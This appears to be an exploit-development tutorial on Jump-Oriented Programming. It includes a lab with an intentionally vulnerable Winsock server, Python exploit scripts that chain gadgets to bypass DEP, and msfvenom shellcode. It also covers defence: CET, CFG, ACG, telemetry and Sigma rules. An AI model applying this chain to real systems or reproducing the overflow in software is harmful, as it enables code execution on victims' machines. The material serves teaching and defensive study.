Jump-Oriented Programming (JOP): Dispatcher Gadgets and Functional Chains
You have RIP control on a DEP-protected target. The stack is non-executable, so your injected shellcode is dead weight. Return-Oriented Programming is the reflex answer, but suppose the EDR on that box counts ret frequency and stack-pointer churn, or the binary shipped with a shadow stack that shreds any ROP chain the moment the first gadget returns. ROP is off the table. JOP is what you reach for next: a code-reuse technique that never touches ret and never lets the stack drive control flow.
Objective: Understand how Jump-Oriented Programming replaces the RET-driven control flow of ROP with a register-held dispatch table and a dispatcher gadget, learn the canonical gadget taxonomy, build a working JOP chain against an intentionally vulnerable lab server to bypass DEP, and see exactly how defenders catch it with hardware telemetry, ETW, and Intel CET.
Contents
- 1 1. Code-Reuse Attacks: From ret2libc to ROP to JOP
- 2 2. The Stack vs. The Dispatch Table: JOP’s Architectural Divergence
- 3 3. JOP Gadget Taxonomy: Dispatcher, Functional, Initiator, and Delay Gadgets
- 4 4. The Dispatcher Loop: How a JOP Chain Executes
- 5 5. Gadget Discovery with JOP ROCKET and ROPgadget
- 6 6. Lab: Building a JOP Chain to Bypass DEP, Step by Step
- 7 7. Shellcode-less JOP: Calling WinAPI Directly
- 8 8. Novel Dispatcher Variants: Two-Gadget Dispatchers and CFI-Resistant Gadgets
- 9 9. Common Attacker Techniques
- 10 10. Defensive Strategies & Detection
- 11 11. Tools for JOP Analysis
- 12 12. MITRE ATT&CK Mapping
- 13 Summary
- 14 Related Tutorials
- 15 References
1. Code-Reuse Attacks: From ret2libc to ROP to JOP
DEP (NX) killed the classic jmp esp into stack shellcode. Mark the stack and heap non-executable and injected code simply faults on the first byte. The attacker response was to stop injecting code and start reusing code that is already mapped executable.
ret2libc came first: overwrite the saved return address with the address of a libc function like system, stack the arguments behind it, let the epilogue do the call. ROP generalized that into Turing-complete computation by chaining short instruction sequences that each end in ret. The stack becomes a program: the stack pointer is the instruction pointer, and every ret pops the next gadget address.
That reliance on ret and the stack is exactly the weakness defenders learned to exploit. Shadow stacks, ret-frequency heuristics, stack-pivot detection, canary checks: nearly every anti-ROP control keys on the stack or the return instruction.
JOP is the evolution that sidesteps all of it. Bletsch et al. defined it at AsiaCCS 2011 as a code-reuse attack that abandons ret entirely and chains gadgets ending in indirect branches (jmp reg, call reg, jmp [reg]) instead. Because almost every known ROP defense depends on ret or the stack, most of them are structurally blind to a well-built JOP chain. That is the whole point.
2. The Stack vs. The Dispatch Table: JOP’s Architectural Divergence
ROP has a natural chaining mechanism baked into the hardware. ret pops an address off the stack and jumps to it, so stacking gadget addresses is enough. jmp has no such convenience. A raw jmp reg jumps once and there is nothing that advances to the next gadget. That is the core chaining problem JOP has to solve.
The solution is a dispatcher gadget plus a dispatch table. Instead of the stack pointer walking a list of return addresses, a general-purpose register walks a table of functional gadget addresses that lives in ordinary read/write memory. Every functional gadget, after doing its work, jumps back to the dispatcher. The dispatcher advances the table pointer by one slot and jumps to whatever address that slot now holds.
| Register / Structure | Role |
|---|---|
| Dispatch Table (DT) | Array of functional gadget addresses in any RW memory (heap, BSS, sprayed region). ROP’s equivalent is tied to the stack; JOP’s is not. |
| DT Register | Register holding the current position in the dispatch table (the JOP program counter). |
| DG Register | Register holding the address of the dispatcher gadget. Every functional gadget jumps or calls through this. |
| Dispatch Registers | The DT and DG registers plus any scratch the dispatcher touches. These must be protected from clobbering across the whole chain. |
So ROP rides ESP and ret. JOP rides, say, ESI (DT) and ECX (DG) and never returns. The stack is still there and you will use it later to marshal WinAPI arguments, but it is no longer steering control flow.

3. JOP Gadget Taxonomy: Dispatcher, Functional, Initiator, and Delay Gadgets
Use the canonical vocabulary. These names come from Bletsch et al. and the JOP ROCKET research, and mixing them up will confuse anyone reading your chain.
| Gadget Type | Description |
|---|---|
| Dispatcher Gadget (DG) | Advances the DT pointer predictably and dereferences the result to jump to the next functional gadget. Classic x86 form: add ecx, 4 ; jmp [ecx]. |
| Functional Gadget | Ends with an indirect jump or call rather than ret. Performs the actual work: load, store, arithmetic, WinAPI setup. |
| Initiator / Trampoline Gadget | Bootstraps the chain, loading registers and jumping into the first functional gadget. |
| Dispatch Table (DT) | Memory array of functional gadget addresses walked by the dispatcher. |
| Delay Gadget | A no-op-ish gadget inserted between real gadgets to smear branch-frequency signatures and evade detection. |
| Two-Gadget Dispatcher | Splits the advance and the dereference-jump across two cooperating gadgets, expanding the usable gadget surface. |
The dispatcher is the heart of the machine, so its requirements are strict. It must atomically advance the DT register and then dereference-and-jump. The canonical single-gadget forms:
; x64 dispatcher: advance table pointer by 8, jump to slot contents
add rax, 8
jmp [rax]
; x86 dispatcher: advance by 4
add ecx, 4
jmp [ecx]
Keep it short. Every instruction between the add and the indirect branch is a chance to clobber a dispatch register. A dispatcher that trashes ESI (your DT register) between the advance and the jump is worthless. The USD gadget-analysis heuristic is blunt: the more registers touched in that window, the lower the candidate’s quality.
Functional gadgets have two hard requirements. First, do something useful. Second, end with jmp <DG_reg> or call <DG_reg> and do not corrupt the dispatch registers on the way out. A gadget that loads EAX from a pointer and then jumps back to the dispatcher is a keeper:
; functional gadget: load a value, return control to dispatcher in ecx
mov eax, [edx]
jmp ecx
One discovery technique worth internalizing: opcode splitting. x86 is a variable-length, unaligned ISA, so you can jump into the middle of an intended instruction and the CPU decodes a completely different sequence. A 5-byte mov might contain a valid jmp [ecx] two bytes in. Gadget finders scan every byte offset for exactly this reason, and JOP’s usable gadget pool is dominated by these unintended sequences.
4. The Dispatcher Loop: How a JOP Chain Executes
Once primed, the whole thing is a loop driven by the dispatcher. The stack contributes nothing to control flow after the initial bootstrap.
[Initiator]
|
v
[Dispatcher Gadget] --advance DT ptr--> jmp [DT_reg]
^ |
| v
+----- jmp DG_reg ----- [Functional Gadget 1]
| |
| (dispatcher advances) v
+----- jmp DG_reg ----- [Functional Gadget 2]
| |
... ...
+----- jmp DG_reg ----- [Functional Gadget N: call VirtualAlloc]
|
v
[Shellcode / WinAPI result]
Trace one iteration on x86 with ECX = DG register and ESI = DT register:
- Control is inside a functional gadget. Its last instruction is
jmp ecx. ECXpoints at the dispatcher:add esi, 4 ; jmp [esi]. Wait, note the dispatcher advances the DT register, which in this layout isESI.ECXholds the dispatcher address so functional gadgets can reach it.- Dispatcher runs
add esi, 4, moving the DT pointer to the next slot. - Dispatcher runs
jmp [esi], dereferencing that slot and jumping into the next functional gadget. - That gadget does its work and ends in
jmp ecx, closing the loop.
The dispatch table is just an array of gadget addresses; advancing ESI by 4 each pass steps through them in order. Reorder the table and you reorder the program. That flexibility, sitting in plain RW memory instead of on the stack, is JOP’s defining property.

5. Gadget Discovery with JOP ROCKET and ROPgadget
The purpose-built tool for Windows JOP is JOP ROCKET (Brizendine and Babcock), a Python program built on the Capstone disassembly engine that finds dispatchers, classifies functional gadgets, and can emit full chains.
Run it against the target binary and any modules loaded without ASLR:
:: enumerate dispatcher candidates in the target and a classic non-ASLR module
python JOP_ROCKET.py --find-dispatcher --binary jop_vuln_server.exe
python JOP_ROCKET.py --find-dispatcher --module msvcrt.dll
:: classify functional gadgets by operation (load/store/arith/call)
python JOP_ROCKET.py --find-functional --module msvcrt.dll
Representative (trimmed) output you are looking for:
[+] Dispatcher candidates (msvcrt.dll):
0x77c21a0e add ecx, 4 ; jmp dword [ecx] (clobbers: none) QUALITY: high
0x77c3b512 add esi, 8 ; jmp dword [esi] (clobbers: eax) QUALITY: med
[+] Functional gadgets:
[load] 0x77c1f2a1 mov eax, [edx] ; jmp ecx
[store] 0x77c40b73 mov [edi], eax ; jmp ecx
[arith] 0x77c2ccd0 add eax, ebx ; jmp ecx
[call] 0x77c55e10 call [ebp+0x8] ; jmp ecx
The QUALITY and clobbers fields are what matter. A dispatcher that clobbers EAX between advance and jump is only usable if nothing in your chain relies on EAX surviving the dispatcher. Filter aggressively.
Cross-check with a general-purpose finder. ROPgadget will surface raw jmp reg and jmp [reg] sequences and dispatcher-shaped combinations:
# raw indirect jumps through a register-held pointer
ROPgadget --binary msvcrt.dll --jmp | grep "jmp \[e"
# dispatcher-shaped candidates: an add followed by an indirect jump
ROPgadget --binary msvcrt.dll --filter "add.*jmp"
xgadget is the fast, multi-threaded alternative if you are scanning large module sets and it handles both ROP and JOP output. Whatever you use, the workflow is the same: find one clean dispatcher, then collect functional gadgets that cover load, store, arithmetic, and a call primitive, all ending in a jump back through your chosen DG register.
6. Lab: Building a JOP Chain to Bypass DEP, Step by Step
The target
Build the intentionally vulnerable server. It has a fixed 512-byte buffer and a recv that reads up to 2048 bytes straight into it. Classic stack overflow, GS off, DEP on, ASLR off for the lab so addresses stay fixed.
// jop_vuln_server.c -- LAB TARGET ONLY, intentionally vulnerable
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void vuln_recv(SOCKET s) {
char buf[512]; // fixed buffer
int n = recv(s, buf, 2048, 0); // oversized recv -> overflow
printf("Received %d bytes\n", n);
}
int main() {
WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
bind(srv, (struct sockaddr*)&addr, sizeof(addr));
listen(srv, 1);
SOCKET cl = accept(srv, NULL, NULL);
vuln_recv(cl);
closesocket(cl); closesocket(srv);
WSACleanup();
}
Compile for 32-bit x86 with GS off, DEP on, ASLR off:
cl /GS- /Zi /Od jop_vuln_server.c /link /NXCOMPAT /DYNAMICBASE:NO
Step 1: Crash recon
Send a cyclic pattern and read the faulting EIP.
# crash_recon.py -- send a De Bruijn pattern to locate the EIP offset
import socket
# msf-pattern_create -l 2048 produces the pattern; paste it here
pattern = b"Aa0Aa1Aa2Aa3...." # De Bruijn sequence, 2048 bytes
s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(pattern); s.close()
Attach WinDbg to the server, let it crash, and read the faulting instruction pointer:
0:000> !analyze -v
0:000> r eip
eip=37674136
Resolve the offset:
msf-pattern_offset -q 37674136
# [*] Exact match at offset 524
Step 2: Confirm EIP control
offset = 524
payload = b"A" * offset + b"B" * 4 # EIP should become 0x42424242
In WinDbg after the crash: r eip returns 42424242. You own the instruction pointer. Everything from here is arranging what it points to.
Step 3: Gadget discovery
Run JOP ROCKET and ROPgadget against the target and msvcrt.dll (loaded, no ASLR in this lab). Collect:
- one clean dispatcher, e.g.
add ecx, 4 ; jmp [ecx], - two
pop reg ; retgadgets to prime the dispatch registers, - functional gadgets that set up and call
VirtualAlloc(orVirtualProtect), - a gadget that transfers control to the freshly RWX region.
Record the resolved addresses. In the exploit below they appear as placeholders because they are build-specific; fill them from your own scan output.
Step 4: Prime the dispatch registers (the permitted ROP bootstrap)
JOP needs the DG register and the DT register loaded before the loop can spin. You could do that with JOP, but the pragmatic move, and the one in the JOP ROCKET methodology, is two pop ROP gadgets. That is the entire ROP footprint. After this, not one more ret.
Payload layout (x86):
[ 524 bytes padding ]
[ pop ecx ; ret ] <- load DG register (ECX = dispatcher addr)
[ addr of dispatcher ] <- value popped into ECX
[ pop esi ; ret ] <- load DT register (ESI = dispatch table addr)
[ addr of dispatch_tbl] <- value popped into ESI
[ initiator gadget ] <- jmp into the first functional gadget
Step 5: Construct the dispatch table
The dispatch table is a flat array of functional gadget addresses. Place it in a predictable RW region (fixed BSS or a heap spray). Each slot is one gadget; the dispatcher walks them in order.
import struct
p32 = lambda x: struct.pack("<I", x)
# Resolved from your gadget scan:
DISP_GADGET = 0x00000000 # add ecx, 4 ; jmp [ecx]
FG_SETUP_ARG1 = 0x00000000 # stage VirtualAlloc arg (lpAddress/size)
FG_SETUP_ARG2 = 0x00000000 # stage VirtualAlloc arg (flAllocationType/protect)
FG_CALL_VALLOC = 0x00000000 # call VirtualAlloc ; jmp ecx
FG_COPY_SC = 0x00000000 # copy shellcode into the RWX region
FG_JMP_SC = 0x00000000 # transfer control to shellcode
dispatch_table = (p32(FG_SETUP_ARG1) + p32(FG_SETUP_ARG2) +
p32(FG_CALL_VALLOC) + p32(FG_COPY_SC) + p32(FG_JMP_SC))
Step 6: Full exploit and code execution
Generate lab shellcode first, null-free:
msfvenom -p windows/exec CMD=calc.exe -f python -b "\x00\x0a\x0d"
Then assemble the payload. The overflow drops into the two ROP bootstrap gadgets, which load ECX and ESI, then hands off to the initiator, which jumps into the JOP loop.
import socket, struct
p32 = lambda x: struct.pack("<I", x)
# --- resolved addresses (lab build, no ASLR) ---
POP_ECX_RET = 0x00000000 # pop ecx ; ret (loads DG register)
POP_ESI_RET = 0x00000000 # pop esi ; ret (loads DT register)
DISP_GADGET = 0x00000000 # add ecx, 4 ; jmp [ecx]
DT_ADDR = 0x00000000 # writable region holding dispatch_table
INITIATOR = 0x00000000 # first functional gadget entry
# --- lab shellcode (msfvenom windows/exec calc.exe, null-free) ---
shellcode = b"\x90" * 16 + b"<msfvenom output bytes here>"
offset = 524
payload = b"A" * offset
payload += p32(POP_ECX_RET) # ROP bootstrap 1
payload += p32(DISP_GADGET) # -> ECX = dispatcher address
payload += p32(POP_ESI_RET) # ROP bootstrap 2
payload += p32(DT_ADDR) # -> ESI = dispatch table base
payload += p32(INITIATOR) # jump into the JOP chain
# dispatch_table and shellcode are pre-placed at DT_ADDR
# (fixed BSS in this lab, or a heap spray in a hardened target)
s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(payload); s.close()
print("[*] Payload sent -- watch for calc.exe")
Step 7: Verify in WinDbg
Confirm the machine is actually running the way you designed it: the DT register advancing by 4 each pass, the stack pointer static.
0:000> bp 0x00000000 ; breakpoint on DISP_GADGET
0:000> g
0:000> dd esi ; DT pointer -- note the value
0:000> t ; step: add esi,4 ; jmp [esi]
0:000> dd esi ; DT pointer advanced by 4
0:000> !address esp ; ESP unchanged -- stack is NOT driving control flow
Each time you hit the dispatcher breakpoint, ESI is 4 higher and ESP has not moved. That is the whole thesis of JOP in front of you: the stack is inert, a register walks the table, and DEP never fired because you never executed data as code until the final RWX hand-off.
7. Shellcode-less JOP: Calling WinAPI Directly
You can make the attack DEP-proof end to end by never allocating executable memory at all. Instead of VirtualAlloc(RWX) -> copy -> jump, the functional chain marshals arguments onto the stack and calls a Win32 API directly. WinExec("calc.exe", SW_SHOW) is the classic demonstration: one API, two arguments, no shellcode.
The functional gadgets stage the argument frame (still using the stack as data, which DEP permits), then a call [reg]-terminated gadget invokes the import. Because no page is ever both attacker-written and executable, there is nothing for DEP to catch and nothing for Arbitrary Code Guard to block. This is why JOP ROCKET emphasizes shellcode-less chains: against ACG-hardened processes like Edge content processes, the RWX route is dead and return-to-WinAPI is the only path left.
8. Novel Dispatcher Variants: Two-Gadget Dispatchers and CFI-Resistant Gadgets
The single-gadget dispatcher add reg, N ; jmp [reg] is elegant but sometimes it just is not present in your available modules. The two-gadget dispatcher (Brizendine and Babcock, 2021) splits the job: one gadget advances the DT index, a cooperating gadget performs the dereference-and-jump. Neither alone looks like a dispatcher, so the technique dramatically widens the pool of viable chains in binaries that lack a clean single-gadget form.
Control Flow Integrity changes the discovery game. Intel CET IBT requires an ENDBR32/ENDBR64 marker at every legal indirect-branch target and raises a control-protection fault (#CP) on any indirect jmp/call that lands somewhere else. Under IBT, your functional gadgets can only start at ENDBR-prefixed addresses, which shrinks the surface enormously. Attackers respond by hunting for CFI-resistant gadgets: useful sequences that happen to sit right after a legitimate ENDBR marker. IBT limits JOP but does not eliminate it, because any function entry point CFI blesses is a legal landing zone, and some of those entry points do useful work before their first branch.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Dispatcher paradigm | Register-held dispatch table walked by a single dispatcher gadget; the standard full JOP chain. |
| BYOPJ (Bring Your Own Pop-Jump) | Chain pop X ; jmp X sequences to load and jump per gadget (Checkoway and Shacham). |
| Two-gadget dispatcher | Split advance and dereference-jump across two gadgets to expand the usable gadget pool. |
| Delay gadget insertion | Interleave no-op-style gadgets to smear indirect-branch frequency and dodge heuristics. |
| Shellcode-less return-to-WinAPI | Marshal args and call an import (WinExec, VirtualProtect) with no injected code, defeating ACG. |
| Opcode splitting | Decode unintended gadgets from mid-instruction byte offsets to grow the gadget set. |
The reason any of this is worth an attacker’s effort is stated plainly in the literature: JOP abandons ret and the stack for control flow, and nearly every ROP defense keys on exactly those two things. A complete JOP exploit can be built without a single ROP gadget beyond the two-pop bootstrap.
10. Defensive Strategies & Detection
JOP defeats stack- and ret-centric controls, so detection moves down to the hardware and out to behavior.
Hardware and OS mitigations
| Mitigation | Mechanism | JOP Relevance |
|---|---|---|
| Intel CET IBT | ENDBR32/64 required at valid indirect targets; #CP on violation | Constrains functional gadget targets to ENDBR-prefixed locations, shrinking the surface hard |
| Intel CET Shadow Stack | Hardware-enforced parallel return-address stack | Blocks ROP; does not block jmp-based JOP |
| Windows CFG | Bitmap of valid indirect call targets checked via __guard_check_icall_fptr | Constrains call-terminated gadgets; jmp-terminated gadgets may slip past older CFG |
| DEP / NX | Non-executable stack and heap | JOP bypasses it entirely; DEP is the reason JOP exists |
| ACG | Blocks dynamic code generation (RWX allocation) | Forces shellcode-less return-to-WinAPI chains |
Hardware telemetry
Intel LBR (Last Branch Record) and PMU counters are the sharpest JOP signal. An abnormally high rate of indirect branches (jmp [reg]) with no intervening ret is a strong heuristic. Track BR_MISP_EXEC.ALL_BRANCHES and indirect-call counters; code-reuse payloads push branch misprediction rates outside normal application envelopes.
Sysmon and ETW
| Event ID | Name | JOP Relevance |
|---|---|---|
| Sysmon EID 1 | Process Create | Child process from a network-facing service (calc from a listener) |
| Sysmon EID 8 | CreateRemoteThread | Post-exploitation cross-process injection |
| Sysmon EID 10 | ProcessAccess | Suspicious OpenProcess with PROCESS_VM_WRITE |
| Sysmon EID 17/18 | Pipe Created/Connected | C2 comms after payload execution |
Microsoft-Windows-Threat-Intelligence (ETWTI) hooks VirtualAllocEx, WriteProcessMemory, and ProtectVirtualMemory at kernel level and flags PAGE_EXECUTE_READWRITE allocations from user space, which catches the RWX flavor of JOP even when the chain itself is invisible. Subscribing requires PPL or a kernel driver. Microsoft-Windows-Kernel-Process tracks executable memory events, and Microsoft-Windows-Security-Auditing EID 4688 covers downstream process creation with command line.
Sigma
Behavioral outcome rule, network service spawning a shell:
title: Suspicious Child Process from JOP-Vulnerable Network Service
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
ParentImage|endswith:
- '\jop_vuln_server.exe'
Image|endswith:
- '\calc.exe'
- '\cmd.exe'
- '\powershell.exe'
condition: selection
level: high
Memory-access rule for post-exploitation injection:
title: Full-Access Process Handle to LSASS Post-Exploitation
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
GrantedAccess: '0x1fffff' # PROCESS_ALL_ACCESS
TargetImage|endswith: '\lsass.exe'
condition: selection
level: high
Hardening, ordered by impact
- Enable Intel CET (IBT + Shadow Stack) on Windows 11 with 11th-gen Intel or AMD Zen 3+; set via
SetProcessMitigationPolicy(ProcessUserShadowStackPolicy)andProcessDynamicCodePolicy. - Enable CFG with
/guard:cfand ensure every loaded module is CFG-aware. - Enable ACG via
ProcessDynamicCodePolicyto kill RWX allocation, forcing shellcode-less chains only. - Keep DEP always-on (
/NXCOMPAT,BCDEdit /set nx AlwaysOn). - Deploy EDR with PMU/LBR integration for indirect-branch anomaly telemetry.
- Trim the module load surface so fewer DLLs means fewer gadgets.

11. Tools for JOP Analysis
| Tool | Description | Link |
|---|---|---|
| JOP ROCKET | Capstone-based Python tool that finds dispatchers, classifies functional gadgets, and builds Windows JOP chains | github.com/Bw3ll/JOP_ROCKET |
| ROPgadget | General gadget finder; surfaces jmp reg / jmp [reg] and dispatcher-shaped sequences | github.com |
| xgadget | Fast multi-threaded ROP/JOP gadget discovery | docs.rs |
| Capstone | Disassembly engine underpinning gadget identification | capstone-engine.org |
| WinDbg | Dynamic tracing of the dispatch loop and DT register advance | microsoft.com |
| pwndbg | GDB plugin for pattern generation and offset discovery | github.com |
| nasm | Assembling stub payloads for the lab target | nasm.us |
| msfvenom | Shellcode generation with bad-char avoidance | metasploit.com |
12. MITRE ATT&CK Mapping
ATT&CK does not model JOP as its own technique. It is an exploitation mechanism for achieving code execution despite DEP and CFG, not a standalone tactic, so map it by what the chain accomplishes rather than forcing a single ID.
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Crash telemetry, exploit-guard events on the vulnerable client |
| Exploitation for Defense Evasion | T1211 | PMU/LBR indirect-branch anomalies; CET #CP faults |
| Process Injection | T1055 | Sysmon EID 8/10; ETWTI on WriteProcessMemory |
| Impair Defenses: Downgrade Attack | T1562.010 | Config auditing of CET/CFG mitigation policy state |
The most defensible primary mappings are T1203 for the exploitation trigger and T1211 for the DEP-bypass-via-code-reuse. Defensive coverage lands on M1050 (Exploit Protection: CET, CFG, DEP) and M1040 (Behavior Prevention on Endpoint: EDR with PMU telemetry). Do not cite one T-ID as “the JOP technique.”
Summary
- JOP is code reuse without
retor the stack, driven by a dispatcher gadget that walks a register-held dispatch table. That single architectural choice makes almost every ROP defense structurally blind to it. - The canonical vocabulary matters: dispatcher gadget (
add reg, N ; jmp [reg]), functional gadgets ending injmp/call reg, the dispatch table in RW memory, and the DT/DG dispatch registers that must survive the whole chain. - A practical Windows chain uses a two-
popROP bootstrap to prime the DG and DT registers, then loops functional gadgets to callVirtualAlloc/VirtualProtector, for full DEP-proofing, calls a WinAPI directly with no shellcode at all. - Detection moves to hardware and behavior: LBR/PMU indirect-branch anomalies, ETWTI on executable-memory allocation, and Sysmon EID 1/8/10 for the downstream outcome.
- Intel CET IBT and shadow stack, CFG, and ACG are the real countermeasures. IBT shrinks the functional gadget surface to
ENDBR-prefixed targets; the shadow stack stops ROP but not JOP; ACG forces shellcode-less chains. Layer them.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- Jump-Oriented Programming: A New Class of Code-Reuse Attack (Bletsch et al., NC State TR-2010-8)
- JOP ROCKET: Bypassing DEP with Jump-Oriented Programming – HITB Security Conference 2021 (Brizendine & Babcock)
- ARM Developer Documentation: Jump-Oriented Programming (Official ARM Security Guide)
- Advanced Code-Reuse Attacks with Jump-Oriented Programming (Black Hat MEA – Shellcodeless JOP)
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.